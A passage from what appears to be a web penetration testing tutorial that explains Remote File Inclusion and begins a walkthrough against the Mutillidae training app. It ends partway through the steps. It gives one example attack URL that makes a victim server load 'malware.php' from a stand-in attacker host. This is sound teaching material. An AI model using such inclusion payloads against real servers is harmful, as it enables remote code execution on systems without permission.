Practical Web Penetration Testing

Remote File Inclusion

Remote File Inclusion (RFI) is exploited by including a file path in the URL that points to the remote file outside the boundaries of the web server that hosts the web application.

Consider the following example:

http://domain_name/index.php?file=http://hacker_domain/malware.php

In the preceding URL, the victim server will load the malware.php page that resides on the hacker's server. Let's see a practical example using Mutillidae:

1. Browse to the Mutillidae homepage and select OWASP 2017. We will choose the same menu that we used previously for the Local File Inclusion, that is, Broken Access Control | Insecure Direct Object References | Arbitrary File Inclusion.
2. So, it's the same page that we tested for the Local File ...